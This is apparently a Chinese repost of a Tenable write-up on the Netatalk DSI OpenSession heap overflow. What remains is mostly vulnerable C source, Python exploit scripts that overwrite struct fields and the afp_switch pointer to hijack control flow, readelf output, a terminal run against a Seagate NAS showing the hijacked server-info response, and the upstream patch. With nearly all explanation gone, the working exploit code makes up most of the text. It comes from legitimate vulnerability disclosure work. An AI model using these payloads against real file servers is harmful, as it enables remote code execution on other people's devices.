2018-12-27 17:14:3513803人阅读
/*
* Copyright © 1990,1993 Regents of The University of Michigan.
* All Rights Reserved. See COPYRIGHT.
*/
/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);
case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /*forward past length tag + length */
break;
}
}
#define DSI_DATASIZ 65536
/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write;
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
...
import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x04" # length
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)
try:
resp = sock.recv(1024)
print "[+] Fin."
except:
print "[-] No response!"
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x0c" # length (/)o,,o(/)
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_opensession += '\x00\x00\x00\x00' # overwrites datasize
dsi_opensession += struct.pack("I", 0xdeadbeef) # overwrites server_quantum
function = (u_char) dsi->commands[0];
if (afp_switch[function]) {
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);
} else {
LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
dsi->datalen = 0;
err = AFPERR_NOOP;
}
albinolobster@ubuntu:~$ readelf -s afpd.netgear | grep "auth_switch"
493: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch
176: 000166e8 596 FUNC LOCAL DEFAULT 11 set_auth_switch
798: 0008395c 1024 OBJECT LOCAL DEFAULT 22 preauth_switch
2572: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch
albinolobster@ubuntu:~$ readelf -s afpd.seagate | grep "auth_switch"
313: 000000000063ae40 2048 OBJECT GLOBAL DEFAULT 24 postauth_switch
albinolobster@ubuntu:~$
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrite quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrite ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
albinolobster@ubuntu:~$ readelf -a afpd.seagate | grep getsrvrinfo
241: 00000000004295f0 55 FUNC GLOBAL DEFAULT 13 afp_getsrvrinfo
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)
resp = sock.recv(1024)
print "[+] Open Session complete"
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
print "[+] Sending get server info request"
sock.sendall(dsi_header)
resp = sock.recv(1024)
print resp
print "[+] Fin."
albinolobster@ubuntu:~$ python afp_srvrinfo.py 192.168.88.252 548
[+] Attempting connection to 192.168.88.252:548
[+] Open Session complete
[+] Sending get server info request
�,W��]
Netatalk3.1.8AFP2.2AFPX03AFP3.1AFP3.2AFP3.3AFP3.4No User AuthentDHX2 DHCAST128Cleartxt Passwrd�������@��@X4@@Ѐ���r�"�@A@A@A@I$@UT�]t>��� @���@�@��?������������������������������������������������������������?���������@��?�����4���b8�eQ�x����5
Seagate-DP2
[+] Fin.
case DSIOPT_ATTNQUANT:
- memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
+ if (option_len != sizeof(dsi->attn_quantum)) {
+ LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
+ cmd, option_len);
+ exit(EXITERR_CLNT);
+ }
+ memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);
本文翻译自:https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
翻译作者:41yf1sh 原文地址: http://www.4hou.com/vulnerable/15376.html